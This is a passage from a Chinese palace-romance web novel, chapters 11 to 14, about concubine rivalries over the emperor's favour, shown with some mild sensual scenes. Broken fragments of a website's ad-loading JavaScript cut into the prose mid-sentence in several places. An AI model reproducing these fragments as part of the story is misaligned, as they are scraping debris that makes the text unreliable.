李怀修不重口腹,尊祖上规矩,再喜欢的东西吃了两口挥手让宫人撤下。用过午膳,宫人捧帕端茶,恭敬而入,李怀修净口,擦了嘴,扔下帕子起身往御书房走。全福海垂着脑袋忙跟上去。没等迈过门槛,李怀修似是想起什么,陡然停住脚步,全福海猝不及防,生怕冲撞到皇上,圆润的身子一个栽歪,正正好好一个趔趄摔到地上,揉了下摔疼的屁股,忙爬起来跪身。 李怀修扯了扯脖颈的高领子,视线落向撤下的席面,轻描淡写,“荔枝送过去了?” 全福海眼珠转了转,摸不清皇上这是什么意思,往年送出去的惯例,皇上可从未问过,这回送荔枝,唯一的特殊就是多送了宓常在,而且是满满两大篮。 “奴才遵皇上吩咐,坤宁宫两篮,重元宫、上林宫、承明宫各一篮,顺湘苑两篮。” 岭南进贡的荔枝一向稀罕,全福海听皇上淡淡地让他给顺湘苑送去两篮时,都诧异了一番,要知道,在潜邸时就受宠多年的丽妃娘娘可都没宓常在这番待遇。 “朕是要问你这个?”李怀修压着扳指,不耐烦地拧起眉,睨了全福海一眼。 全福海登时出了一身凉汗,皇上不是问这个,那是想问什么。 11. 第 11 章 皇上少进后宫,嫔妃们闲着,芝麻大点的事儿也能作为谈资,譬如新进贡的荔枝。季夏暑热,岭南入京,快马加鞭也要月余,荔枝是稀罕物,路上即便用冰镇着,免不得要磕碰残损,呈到宫里,个数数都数的过来。总共就那么点儿,高位的嫔妃尚且不够分,皇上竟拨给了顺湘苑两篮,任谁看了不眼红。 这夜皇上宿在了乾坤宫,并未点寝,明裳终于睡了好觉,纵使未侍寝,但翌日问安,因荔枝一事儿,还是招惹了不少人眼。 皇后进来时,已经有不少按捺不住的嫔妃对着送去顺湘苑的荔枝酸言酸语。 “后宫姐妹同样伺候皇上身侧,可不见皇上待谁如此特殊,这份恩宠,好似都要越过了丽妃娘娘。” 姜贵人看热闹不嫌事大地多补了两句。笑意讥诮,深受宠爱又能如何,末了还是要败给那些娇滴滴的新花。 皇后饮着茶水,不着痕迹地去瞧了丽妃一眼,只那一眼,就敛了眸子。 丽妃指尖微顿,堪堪敛下眉眼,面上不见恼怒,温温柔柔地笑了笑,“本宫身子不大爽利,幸得皇上体恤,日后伺候在皇上身边,还是要你们这些新人。” 丽妃在宫中性子一向和善,从不责罚嫔妃,故而,姜贵人才敢说那番话。宓常在没得宠时,丽妃在后宫里最为风光,虽说是身子弱,一月里,皇上也会有三两日留在重元宫,可自从宓常在受宠,皇上似乎还没去看过丽妃。 请安散去,文竹扶着皇后回了内殿,今儿请安这场风波她看在眼里,她亦是不解,宓常在位份低微,当真是因为宠爱,就得了两篮子荔枝?要知道,坤宁宫才堪堪得上两篮。 她如是想,忍不住问出了口。 皇后卸了鎏金嵌鸾凤和鸣的护甲,剥开冰鉴里荔枝的红壳,露出里面雪白多汁的果肉,她笑了笑,“宓常在确实受宠。” “可咱们那位皇帝最是无情,他宠着宓常在,怎会是打心里的宠。” 皇后眸子漫不经心,她及笄那年嫁给尚是成王的皇上,不知不觉间,竟过去了整整十年。成婚之初,她也曾与自己的夫君过过一段琴瑟和鸣的日子,可后来后院的女人越来越多,枕畔那人来的次数越来越少,她也渐渐明白了,男人薄情,帝王最甚。 这份荣宠,是福,也是祸。 文竹心有不解,却看娘娘的神色越来越落寞,不敢再多嘴。皇上将顺湘苑的荔枝分得和坤宁宫一样多,娘娘心里定然是难受吧。毕竟宓常在,是娘娘亲自选进宫的人。 …… 乾坤宫 这日闷热,殿门开了两扇相通的槅窗,冰鉴消融,宫人抬进新的冰块,冰镇的荔枝剥壳留肉,呈了小小一碟。 李怀修倚着龙椅翻阅奏折,指腹有一搭没一搭地捻着扳指。 全福海近前沏上茶水,“皇上,荔枝冰镇着,化了就不好吃了。” 这圆嫩白肉的荔枝看似不起眼,实则在后宫掀起了好一阵风波。全福海这会儿才明白,皇上这是借着荔枝的由头,提点丽妃娘娘呢!孟家不省心,这灾荒的档口,净给皇上添乱子,皇上能不气么。皇上宠着宓常在,一是宓常在确实讨喜,二则,皇上似乎有意抬举寒门,制衡朝中局势。 不得不说宓常在会赶时候,朝中波云诡谲,偏偏出来个寒门出身的宓常在,正遂了皇上的意思。 李怀修不耐烦地压了压眉心,摆摆手让他拿下去,全福海不明白皇上又在烦心什么,一个奴才本没资格过问主子的事儿,觑了眼皇上的脸色,可不敢再待下去,麻溜端着冰镇的荔枝出了乾坤宫。 …… 从坤宁宫出来。明裳与陈宝林同行。 御花园内,明裳折了一支芍药,放到鼻尖轻嗅。女子粉面桃腮,娇颜百媚,人比花娇,大抵就是如此。 陈宝林局促地扯了扯衣角,她家世不高,入宫也不受宠,囊中羞涩,这身已是拿得出手最好的衣裙,站在宓常在跟前,却像是黯然失色一般。 陈宝林敏感地闪了闪眸子,有些不知所措。她入宫无依无靠,意外与宓常在有了交集,本想拉拢有个倚仗,可她嘴笨,又什么都没有,宓常在会不会看不起她。 百般焦灼之际,那女子回了头,歪着脸打量她,“站着做甚,这花开得这般好,带回宫里做做装饰,人也跟着舒畅。” 女子眉眼含笑,柔柔地看她,不见鄙夷之色。 陈宝林鼻尖乍然一酸,使劲儿点了两下头,拿了剪子去摘花。 天儿晴好,两人又说了几句话,到垂花门作别。陈宝林住承明宫,距永和宫要绕远走上一段路,明裳并非不清楚陈宝林的意思,陈宝林性子过于软弱,自己帮过她一回,又恰好得宠,她是想找个靠山,日后在宫中也不至于任人欺凌。 月香对陈宝林伏低做小,怯懦卑微的做派看不上眼,回了顺湘苑,避开伺候的宫人,捏着小金锤凿核桃,面上不悦,“主子何必应陈 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 宝林,奴婢看陈宝林不是可靠的人,没安什么好心。” 明裳摆弄着摘回来的芍药花,“为何这么说?” 月香一连凿了三个核桃,哼了一声,“主子可还记得那江家的二小姐?江二小姐分明心悦柳大公子,也看得出柳大公子对主子……” “月香!”辛柳飞快地瞄了主子一眼,赶在月香说出招惹祸端的话之前堵住她的嘴。 月香惊觉失言,扑通跪下身,“奴婢知错。” 幸而内殿只有她二人在伺候,明裳脸上没什么表情,只是听到那个字时,摆弄芍药花的指尖儿微微顿了一下。 入宫四个月,她很快适应了宫里的生活,强迫自己忘掉那人,再次提起,恍如隔世。 明裳被家里宠惯了,以前少有耐性,写一篇字都要磨上两个时辰,为免先生责罚,明裳常常偷着去让柳絮白给她写,柳絮白对此极为无奈,却总是纵容,模仿她的字迹比自己写还要熟稔。这才过去多久,她竟有了耐性修剪花草。 水养的花倒底比不上御花园土培的,明裳了无趣味地坐回窄榻里,把玩着指尖的丹蔻,“继续说。” 主子让她继续说,月香却是不敢再提柳大公子了,她直接道:“陈宝林心思敏感,多疑多虑,主子又颇得圣宠,这宫里头的情谊无非是利益相交,见风得势,奴婢是怕升米仇斗米恩,他日陈宝林把主子做了登云梯,回过头又嫉恨主子。” 月香性子泼辣,心思却机灵活络,明裳不是没有此忧虑,才对陈宝林的投好装聋作哑,但在宫里孤身一人,终究是势单力薄。 …… 陈宝林捧着摘回的芍药花枝回了承明宫,她脸上扬着浅浅的笑,翠微见主子入宫数月来,难得有了笑脸,不禁欣喜,“宓常在心善,想必日后会照应主子。” 听这话,陈宝林脸上的笑意退了几许,她轻轻地摇了摇头,再次升起愁容,“宓常在那般聪慧,不会不明白我与她说话的意思,她不挑明,可见还是不信任于我。” 翠微看不出其中的弯弯绕绕,不愿见主子难过,劝慰道:“奴婢看宓常在性子极好,只是有些防备戒心,时日已久,必会明白主子也是极好的人。” 陈宝林眸色微闪,芍药花汁染红了她的手背,映红了她的眼。 在这深宫,性子极好有什么用,你退一步,别人就会觉得你软弱,你退两步,别人就会觉得你可欺。 本就没有公道可言。 12.第 12 章 天色尚早,后宫嫔妃都在等着乾坤宫的动静。 顺湘苑掌着灯,明裳沐浴后,坐在妆镜前描妆,忽地,右眼皮猛跳了下。 幼时家中嬷嬷总说左眼跳财,右眼跳灾。明裳眼皮子这么一跳,心尖儿也跟着砰砰跳动,颇为不宁。 辛柳察觉,过去扶住主子的手,担忧地问,“主子可是身子不适?” 明裳狐疑地摇头,圆润白皙的指肚压住跳个不停的右眼皮,“我总觉得不对劲儿。” 哪里不对劲儿她也说不清。连着侍寝两夜,又得了坤宁宫才有的两篮子荔枝,按理说,皇上对她的兴头还没过去才是,可是为何这两日乾坤宫如此安静,静得有些诡异。 她是不是该去御前看看? 明裳那张娇艳如桃花般的脸蛋愁眉苦脸地皱了皱,到这时,竟开始看不懂那位的心思了。 她推开了月香描眉的手,赤着玉足站起身子,“吹灯歇下吧。” 绘如这时才说了一句,“今夜皇上尚未点寝,主子不如再等一等?” 明裳披着一头乌黑的青丝,那双雪白小巧的玉足踏在金线云纹毯上,尤为漂亮。 她拧着眉心,似是在思量,良久,唇瓣启开,“绘如,你去把白日冰鉴的荔枝送去乾坤宫。” 又加了一句,“现在就去。” “越快越好。” …… 顺湘苑的荔枝送到了御前,全福海有意偷瞄,果然见皇上沉了两日的脸色终于有了和缓,心头可算有了着落,忍不住偷笑,这宓常在也是个聪明的。 “皇上今夜可是要歇在顺湘苑?” 李怀修推了下扳指,凉凉睨去一眼,“她给了你什么好处,这么帮着她说话?” 全福海冷汗涔涔的跪下身,肥胖的圆脸哭丧地挤成一团,大呼冤枉。 李怀修揉了揉眉心,“行了,今夜朕歇在乾坤宫。” 皇上这夜未召人侍寝,明裳早早上了床榻,顺湘苑熄了宫灯。 月夜寂寂,沉沉黑幕中,忽传出一阵杂乱的吵嚷。 明裳堪堪入梦,寝殿乍然亮了一抹微光,银钩将帷幔挑起,肩膀被推了两下,她惺忪的眸子将将眨了眨,就听辛柳在耳边急快道:“主子,出事了!” 永和宫西侧宫道临近昭阳湖,草木丛生,这夜原本平静无波的湖面乍然掀起了圈圈波动的涟漪。 王采女落水了。 好巧不巧,深更半夜,竟掉到了昭阳湖里。昭阳湖正临近永和宫,无论如何,明裳都是要过去看上一眼。 辛柳伺候明裳穿了衣裳,松松挽了发髻,未施粉黛,赶去了昭阳湖。 月白风清,幸而是在季夏,夜里头闷热,不至于冻坏身子。 湖边上,王采女被伺候的宫人围着,身上裹了一件厚实的披风,鬓发湿答答地贴在颊边,面色苍白,使劲儿呛了两口水。 明裳到跟前才发现,姜贵人也在这。 姜贵人眼底挂上担忧,却稳当当地叫宫人扶着,脚步动也没动一下。她看见明裳,眼光一亮,终于舍得挪动鞋跟,“宓妹妹来得倒是快,王采女可是吓坏我了,人就在我跟前走得好好的,大抵是滑了脚,扑通就掉了下去,好大的浪花。” 明裳嘴边笑意浅浅,没迎合地回应。 宓妹妹、王采女,孰远孰近叫姜贵人分得清楚。到坤宁宫问安,姜贵人也没少给她使绊子,遇见又拉她套近乎,好似那些龃龉全然不曾存在,可真是做的一手好戏。 姜贵人见她不说话,脸上的笑意就僵硬住了,伸手不打笑脸人,难不成这宓常在真仗着接连侍寝两夜的恩宠就恃宠而骄?姜贵人不再自讨没趣,却仍旧站在明裳旁边,好似两人关系有多亲近。 不多时,坤宁宫的仪仗到了昭阳湖。皇后风簪于发,未施脂粉,面容隐隐透着疲倦,她摁着眉心,听王采女时断时续的哭声,不耐烦斥道:“深更半夜,在这是做什么?” 皇后一向以宽仁治理六宫,王采女胆子本来就小,乍然被吓到,缩了缩身子,趴跪到皇后身前,“回……回皇后娘娘,嫔妾夜中难寝,想出来走走……” 昭阳湖闹出的动静大,附近宫所得信的嫔妃都在夜色中赶了过来。有人听王采女这番说辞,讥诮讽笑,“王妹妹走得可够远的,不知道的,还以为你要去永和宫找宓常在说话呢!” 明裳绞着指尖的帕子,眼皮子抬都没抬,住在永和宫可不止她一个,倒是净挑着她说,圣宠扎眼,不管什么事儿都要把她拽下水。 月白的光打到王采女身上,王采女下意识朝明裳看了一眼,这一眼引得不少人侧目,不禁猜测,怕不是这事真与宓常在有关。 明裳柔柔地牵起笑脸,大大方方地问出口,“王妹妹看我做甚,难不成你真是要在这深更半夜里,寻我说话?” 那张干净的脸蛋娇俏动人,这么一问,又让人觉得宓常在是真不知情。 皇后抬了抬眸,没有去看明裳,“闹出这么大动静,心性无半分定数,本宫就罚你抄经书六卷,回去好好静静心。” 众人哑声,皇后这番决断,是不打算计较王采女究竟为何落水,打算大事化小小事化了。 嫔妃们将要散去时,远处圣驾点着四角琉璃宫灯近前,有人眼睛显出亮光,暗悔来时懒得梳妆,衣着朴素。 待皇上从銮舆上下来,嫔妃们脸上的娇羞退了几许,来的不止皇上一人,坐在銮舆里的,还有丽妃娘娘。 丽妃身形单薄,由宫人扶着下了銮舆,她上前几步,温柔地为身侧的男人披上玄纹披风,“夜里凉气重,嫔妾方才听皇上有几声低咳,皇上要当心龙体。” 李怀修目光扫了眼众人,最后落到挤在后面的女子身上。素净的妆容在夜色中显出几分怜弱,他本在御书房批阅奏折,知晓王采女落水,没什么多余的心思,甚至连王采女是谁都记不起来。但得知那地方临近她的宫所,思量一番,还是来了。 不待他多想,胸前一双纤纤素手,为他拢着披风,系紧带子。李怀修不着痕迹地敛起心绪,听着丽妃柔柔关切之语,不咸不淡地轻“嗯”了一声。 郎情妾意,落在旁人眼中,格外惹眼。 嫔妃们嫉妒有之,艳羡有之,论起与皇上的情分,听闻潜邸之时,皇上宠爱丽妃,远胜于皇后。 丽妃为李怀修披过披风,才转身福礼,“臣妾请皇后娘娘安。” 皇后脸上和笑,没有分毫的嫉妒不悦,亲自上前扶起了丽妃,“你身子一向不好,怎的今夜也过来了。” 丽妃柔柔道:“听闻后宫有妹妹落水,臣妾心里忧心,不想在路上遇见了皇上。” “不知道王采女这是怎么了?” 她探寻地看向地上跪着的王采女。 王采女抖着身子近前,“嫔妾请皇上安,请丽妃娘娘安。” 昏黄的宫灯下映出女子的面颊 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,纤瘦的身形单薄如纸,惹人怜惜,那张小家碧玉的容貌在这落魄的映衬中见出了几分姿色,越看越有韵味。 明裳眼底露出了然,她轻轻勾了勾唇角,明白了哪里不对劲儿,王采女这是要借着她这把梯子在皇上面前出头。 但,似乎打错了如意算盘。 静谧中,李怀修捻着扳指,随意扫了眼地上的女子,“宫中的规矩,都忘了么?” 轻描淡写的一句话,却吓得王采女的身子倏然一颤,染湿的青丝贴着侧脸落魄十分,她额头重重叩到地上,苍白的唇瓣轻轻发抖,“皇上恕罪,嫔妾知错了……” 李怀修本也不是为落水的事来,他并非看不出,今夜之事的缘由。后宫嫔妃明争暗斗,为争宠不择手段他都看在眼里,这些事他懒于计较,自有皇后处置。 见王采女的模样,聪明的人心里都猜出了原尾,不由得讥讽王采女真是为争宠不要了脸面。 夜色深了,丽妃吹着冷风,抵唇轻咳,弱柳扶风的身姿透着股病态的美感,“皇上,臣妾有些冷了。” 声音如同轻柔的羽丝,惹人怜惜。皇后轻轻敛下眼,指尖描过娟怕的凤鸾金线。 借着宫灯的光亮,明裳不动声色地打量过丽妃的侧脸,丽妃入王府虽早,脸上却丝毫不见岁月的痕迹,唯独柔顺的眉眼间,增添了几分恰到好处的熟韵风姿,宫里多的是娇俏动人的少女,这般风韵美人确实少有。 刚要收回神,不经意间撞入了男人深邃幽沉的眸中,她顿了下,毫不心虚地弯了弯眸子,乌黑的瞳仁映着宫灯的剪影。李怀修忽然漫不经心地记起,那人窝在自己怀里时,也是这样看他,花树堆雪,新月生怜。 衣袖被人轻扯住,丽妃小心翼翼地看向他,“皇上?” 李怀修淡淡地敛起心绪,没有拂丽妃的面子,任由她揽着自己的手臂,转身吩咐銮舆起驾。 闹剧散场,无事的嫔妃说话间又多了谈资。 姜贵人最后离开,她弯下腰,叹息一声为王采女裹好了披风,温柔叮嘱,“王妹妹日后在湖边走可要当心,也莫再做这些糊涂事了。” 王采女咬唇流着泪水,一声不发。 …… 圣驾往重元宫走,全福海跟在左右摸不着头脑,銮舆去了重元宫,皇上今夜也是要在丽妃娘娘这儿歇下?他不敢多嘴,毕竟这丽妃娘娘也生了一颗七窍玲珑心,即便受母家拖累也能走到现在,可见其本事,是个不能得罪的人。 待銮舆停下,皇上与丽妃娘娘一同进了揽月殿,全福海心领神会,吩咐御前小太监回乾坤宫取皇上的朝服冠冕,为明日早朝备着。 净室备了热水,丽妃沐浴回来,李怀修倚靠着引枕,狭长的凤眸微微低敛,手握一卷佛经,宫灯光亮剪出的侧影金尊玉贵,又有些随意的闲适慵懒。 丽妃稍许晃神,她侧坐到床榻边,捋开胸前的长发,柔柔地依偎到男人怀中,眼眸黯然,“皇上许久没到臣妾这儿来了。” 李怀修合上书卷,视线落到怀里女子的脸上,他神色平静,叫人看不清眼底真实的情绪,“前朝政务忙,朕尚未得空。” 尚未得空为何还要接连两夜召幸宓常在…… 丽妃攥紧了指尖,都赞她生性温柔,从不与那些新人争风吃醋,可她心里怎会没有妒意。 她最爱的男人,要与别的女子做世间男女最亲密的事。 她心里是怨的啊。 13.第 13 章 柳美人解了禁,性子倒安分下来,不再到明裳这儿自找麻烦。不过听说柳美人近日到御前跑得勤了,三两天送一回汤水。 月香吐吐舌头,“送汤水有什么用,皇上还是一次都没召寝过她。” 辛柳拍了把她的额头,“管住这张嘴,上面的事儿也是你能非议的?” 月香不服气,“我就在主子跟前说说,到外面可机灵着呢!” 越到暑伏,热浪滚滚,内务府送来的冰没过半刻就化成了水,身上不一会儿就出了热汗。 明裳爱洁,叫人备上热水沐浴,这会儿一对儿玉足正从桶里跨出来,入宫快有小半年,身量又长了些,大抵是开了花苞,举手投足间多了小妇人的媚态余韵。 月香为她裹住大巾,圆润的玉兔包裹在巾帕里,擦去了往下滑落的水珠。擦净了全身的水,明裳随意披了一件罩衫,懒洋洋回了内殿,支颐而卧,辛柳为她打扇,乌黑的青丝缎子似的垂下,吹着清凉的风,好不惬意。 “主子……”月香嘟着嘴,打扰了明裳的宁静,“皇上许久没召人侍寝,主子不去御前看看吗?” 月香一脸担忧,倘若主子未侍寝过,在宫里没人注意还好,可如今主子侍了寝,得了位份封号,成了后宫嫔妃眼中钉,一旦失宠,可见有多少人落井下石。 明裳合着眼,享受着蒲扇的丝丝凉意,“外面日头那般大,我又没有仪仗,走到乾坤宫。热都要热死了,万一赶的不是时候,还要在廊檐下晒半个时辰的日头。纵使如此,皇上也不会有多少怜惜,做甚去讨那个嫌。” 蝶花翡翠屏风外,那抹高大颀长的人影停住,宫人瑟瑟发抖地跪下身,想要通禀主子,偏偏皇上抬了手,她们若是敢出声,脑袋也不用要了。 里面主仆二人毫无察觉。 月香对主子的歪理不予置同,“奴婢想,只要主子过去,皇上面上不提,心里必会记得主子的辛苦。” 明裳“哼”了声,“心里记得有什么用,不如提提我的位份,免得柳美人三天两头地过来压我,烦都烦死了。” 月香还要再劝,听见外面的脚步声,转过脸看清来人,吓得脸色霎时一白,手中蒲扇叮咚掉到地上,明裳狐疑地掀开眸子,倾时,那张小脸终于生出几分慌乱,赤着小脸噌噌下了窄榻,屈膝福礼,“嫔……嫔妾请皇上安。” 李怀修脸色黑如锅底,可用一个难看形容,他倒不知,这女子背后,竟是如此编排他。 全福海也是惊出一身凉汗,悄摸摸退出内殿,半点不敢多待,宫人都退了下去,明裳压住心头惊慌,不等男人说话,若无其事地起身,那双卷翘的长睫扇了又扇,“皇上今儿不忙么?” “呵!”李怀修冷嗤了声,讥讽道,“朕看你倒是挺忙的。” 明裳颇为心虚,她讨好地扬起笑脸,盈盈过去挽男人的手臂,她自己仿若为觉,李怀修却瞬间僵住了身子。 那条手臂陷入到两团玉兔中,又绵又软。 李怀修压住扳指,上上下下扫了眼这女子的衣着,眉心登时突跳,“你这穿的是什么,像什么样子!” 夏日暑热,明裳贪凉,沐浴后内挂藕荷色团花肚兜,外面只罩了织金飞鸟罩衫,赤着两条细腿玉足,身段显得淋漓尽致。 在李怀修眼里,简直不成体统! 明裳委屈巴巴地小声,“皇上凶什么,嫔妾又不会出去穿成这样。嫔妾住在自己殿里,有谁会知道。” 她敢穿成这样出去,纵使后宫没有男子,他也忍不住把那些太监的眼睛挖了。 还敢埋怨他,不知悔改。 李怀修把人从怀里扯住来,没好气地掐住女子的脸蛋,照着那腰臀重重打了一掌,“胆大包天,朕现在就该把你拖出去打上几十大板,你才会给朕老实!” 这一巴掌打得很重,比夜里打得还重,是真的被气着了,忍不住怒火惩戒她。 不过要是真的震怒,早就把她拖出去了,何必多此一举地训斥。 明裳不怕男人黑脸,娇娇地环住李怀修的腰身,哼哼唧唧道:“皇上才舍不得打嫔妾板子,皇上要惩治嫔妾,不如自己上手打好了。” 话音一落,李怀修脸色倏然沉住,脑中一闪而过的情境让他呼吸都重了几分。 他今日就不该,上了兴头过来看这女子! …… 这日陈宝林又来邀明裳去御花园赏花。隔两日陈宝林就会来一回顺湘苑,明裳态度始终不冷不热,陈宝林却是契而不舍,仿佛像抓住了救命稻草。 陈宝林对插花颇有研究,明裳性子懒散,觉得五颜六色地插//到花瓶里也甚是好看。 没有多远,看见打远过来丽妃的仪仗。 丽妃也瞧见她二人,从仪仗上下来,叫她们免礼。日头大,宫人撑着遮阳的油伞,丽妃的眼光扫过两人手中摘的花枝,对着明裳调笑,“宓妹妹插花的技艺还是要多学学陈妹妹,瞧瞧你这五颜六色的,晃得本宫眼睛都疼了。” 丽妃在宫里一碗水端平,谁也不偏袒谁,纵使陈宝林在皇上跟前不得眼,她面上也不会给人难堪。 明裳脸颊染上红晕,丽妃喜欢做戏,她自然也要奉陪。 “娘娘快别打趣嫔妾了,嫔妾拙笨的技艺,哪比得上陈妹妹。” 丽妃轻轻点了点头,不知是有意无意,轻言细语,“皇上亦有雅好,陈妹妹到了皇上跟前伺候,料想皇上也会舒心。” 到了皇上跟前伺候固然好,陈宝林如何不想得宠,如何不想像宓常在一样风光,可皇上连她是谁都不记得,看都不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 看她一眼,怎会知晓她的细心妥帖。 她日日去讨好宓常在,宓常在却好像没有提拔她的意思。 陈宝林神色黯淡。 明裳心底冷笑,面上仿若不明白丽妃话中的意思,拧着眉尖叹息,“嫔妾和陈妹妹何尝不想见到皇上,可皇上政务繁忙,嫔妾不好打扰。” 丽妃“哦”了一声,似有疑惑,“本宫怎么听说,皇上前日刚去看过宓妹妹。” 明裳睁眼说瞎话,愁眉苦脸,“娘娘知其一,却不知其二,那日嫔妾不慎说错了话,冲撞了皇上。皇上从嫔妾这离开,脸色沉得吓得嫔妾一夜没睡。” 明裳话里半真半假,提起那日的事儿,她到现在还羞得不行,后来男人确实在惩戒她,只不过中途被前朝的大臣叫走,脸色难看得让明裳险些以为那朝臣要性命不保。她也确实一夜未睡,可怜的屯又红又疼,她哪睡得着。 丽妃辨不出话中真假,那日确实听闻,皇上离开顺湘苑的脸色沉得滴水,她当时猜测是宓常在得罪了皇上,今日坐实了她的猜想。嘴边浮出讥讽的笑意,这些新人总自命不凡,以为自己多侍两回寝,就算真的得宠?她与皇上数年情分,怎是这些空有美貌的皮囊能相比的。 她柔声宽慰道:“你进宫不久,万事要谨慎些,切莫再有下回了。” 明裳垂下眸子,遮住眼底的情绪,指尖的帕子捏了捏,看一眼旁边的陈宝林,犹豫几番才开口,“皇上看重娘娘,嫔妾斗胆请娘娘为陈妹妹说几句话,陈妹妹心细又多才情,嫔妾想皇上定会喜欢。” 丽妃笑意微僵,很快就敛去了,说话滴水不漏,“皇上忙于政务,本宫也不便到御前打扰,待他日皇上得了空,本宫便为你二人说上几句。” 两人福身谢过丽妃,丽妃上了仪仗,陈宝林抬眼去看,不知何时间,指尖竟掐烂了手中的花茎。 …… 御花园的动静传到了御前,全福海自然知晓皇上没那个闲心听后宫的勾心斗角,通禀这事儿,全是因顺湘苑那位主子。 仔细想来,皇上见到那位主子满打满算不过两月,这两月不仅兴致没过,隐隐有越来越宠的架势。皇上虽不去顺湘苑,可隔三差五便要听一回顺湘苑的动静,赏赐也跟流水似的,也是那位主子不张扬,将御赐之物都送去了私库里,不然不知道有多少人暗暗忌恨。 李怀修终于舍得从政务中抽出身,凉凉掀起眼皮子,薄唇讥笑,“真是不长记性。” 殿内沉沉地生出一股凉意,全福海垂着脑袋,不敢抬头。心里却知道,宓常在正是受宠,再蹦哒皇上也不会舍得把人怎样。 李怀修饮了口茶水,指腹拨弄一圈玉戒,薄唇启开,轻描淡写,“她既不会插花,从内务府拨个宫人去教教,教到朕满意为止。” 14.第 14 章 全福海动作快,皇上后午发的话,没到晚膳,全福海就选好了人,送去顺湘苑。 他可是人精,传的话滴水不漏,“皇上听闻最近宓常在喜欢上了花艺,特意命奴才从内务府择选的姑姑,过来教主子插花。” 明裳饮茶饮到中途,猛然呛了一口,小手攥成了拳头,猛捶胸脯,一脸难以置信,“咳咳咳……皇上说的?” 月香两人手忙脚乱地为她顺气擦嘴,全福海避之不及,被喷了半个衣袖,别说是喷他茶水了,他作为一个奴才,主子就是喷他粪水他也得受着,更何况这位新得宠的小主。 全福海赔着笑脸,“没有皇上吩咐,奴才哪敢自作主张。” 指过来的姑姑姓杜,绘如以前在内务府做事时有过一面之缘,杜姑姑人品上佳,只是太过严苛古板。进了殿,端端正正地福过身子,那张脸却始终不见笑。 全福海一走,杜姑姑板着脸,恭恭敬敬地站在下首,拧眉扫了眼懒懒倚在窄榻里的宓常在,“常在坐姿实在不妥,腰身不直,双腿无置,有失体统。” 明裳脸蛋僵住,咬了咬唇,倒没说什么,乖乖地按了杜姑姑的规矩来。 …… 盛夏暑热难挡,御花园东角亭置了赏荷宴,烫金的帖子送到合宫,明裳被杜姑姑罚坐了半个时辰,脊背无力,头晕目眩,得了信,问也不问一句,直接把帖子接了。 永和宫到东角亭要走一段路,明裳到了御花园,柳美人似早已来了许久,正含笑与皇后说话,瞥见她,一个眼神都吝啬投过来,冷冷一哼,抿了口凉茶歇火。 明裳当作没看见,无事柳美人的冷脸坐到下首。 东角亭八面通风,夏日清凉无比,西面是摇摇曳曳的池塘,栽种一池的荷花,朗朗一望,湖水汤汤,藕花珠缀,天然妆点。 听闻先帝早年甚宠柔妃,柔妃名中有一荷字,这满池摇曳就是为博红颜一笑而种。 陈宝林来的迟了,还有几个下面的位子,她坐去了明裳下首。柳美人瞧见,噗嗤一笑,“宓常在倒是善心,带这么一个没用的拖油瓶。” 陈宝林垂低着眼,掐紧了指尖,脸色时白时红,受辱惯了,她本以为自己不在乎,可为什么心里还是这么难受。 这边说话声引来了旁人的注意,明裳不必去看陈宝林的脸色,就知道她定是被羞辱得要哭出来。 借着席面的遮掩,她不动声色地压住了陈宝林的手背,看似温温柔柔的话声却并未给柳美人留下情面。 “都是皇上择选的嫔妃,何为有用,何为没用?” “柳姐姐的意思,是在质疑皇上?” 明裳天真地眨了眨眸子,气得柳美人额头的青筋都凸了出来,几欲当场发作,这小贱人怎么宁愿得罪她,也要护着一个废物! 皇后嘴边浮出轻笑,没管她二人的争执,柳美人的脑子,就是让她坐到妃位,也斗不过宓常在。 下面的动静引得旁人侧目,柳美人与宓常在同住一宫,却是脾性不合,一个有先侧妃的情谊,一个是皇上新宠,永和宫里不知有多热闹。旁人当成笑话看,这时小太监匆匆进了八角亭,“禀娘娘,皇上过来了。” 今儿是皇后设席,邀后宫嫔妃一同赏花,谁也没想到圣驾会忽然过来。席面吵嚷片刻,嫔妃抚着鬓角发丝,挽出最好看的笑,翩然起身。 明裳收回安抚陈宝林的手,侧目时,恰好瞧见陈宝林眼中乍然的亮光。她红唇微抿,眼底了然,同为后宫的妃嫔,有谁不想得皇上的宠爱,一越枝头。 和煦的风徐徐袅袅,皇后起身让了上座,宫人躬着腰在左侧一位摆了新的席面,皇后温声说了几句话,李怀修落座让嫔妃们免礼。 阮嫔身边坐着宝珠公主,她拉过女儿,小声说了几句话,宝珠甜甜一笑,使劲儿点了点脑袋,提着裙摆花蝴蝶般跑到上席,扑到李怀修怀里,“父皇,宝珠想父皇了!” 堂而皇之地争宠,有谁比得过皇上的亲生女儿。 宝珠过了春五岁大,肉嘟嘟的小脸软面团子似的又白又软,乌溜溜的黑眼珠机灵可爱,十分讨喜,毕竟是皇上现在膝下唯一的子嗣,纵使是个公主,宫里也千娇百宠着,无人敢得罪。 李怀修甚是宠爱这个女儿,手掌抚了抚宝珠的发髻,难得扬起笑,“宝珠似是长高了许多。” 宝珠点着小脑袋,稍许又撅了撅小嘴,“父皇许久没去看宝珠了,可不觉得宝珠长高许多了嘛,父皇要日日去看宝珠,才不会觉得宝珠有什么变化。” 李怀修薄唇杨着,眼底的笑意却寡淡下来,掀起眼皮往阮嫔的席面上睨了一眼,阮嫔原本得意的模样触到皇上投来的眼色登时僵住,悻悻低下头,捏紧了帕子。 她是忘了,以前皇上就警告过她,切莫利用宝珠争宠。可是皇上将有小半年没召幸过她,宝珠虽好,终究是个女儿,日后出宫远嫁,她在宫里还能有什么依靠。 这段插曲众人始料未及,后宫里谁都知道皇上宠爱宝珠公主,能这般在皇上跟前不必在意规矩,也就只有宝珠公主,众人看着,不禁隐隐艳羡,倘若自己身边也有个皇嗣,何愁得不到皇上宠爱。 席面开始没多久,宝珠就窝在阮嫔怀里睡着了,孩子天性玩闹,累了睡得也快,对大人的事儿一知半解,没有过多的烦恼。乳母抱着宝珠回了寝殿,歌舞曲月余音缭绕,李怀修靠着椅背,指腹摩挲着茶盏的杯沿儿,颇有些漫不经心。 一曲舞罢,遥遥传入一阵轻盈灵动的歌喉,洋洋盈耳,余音绕梁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 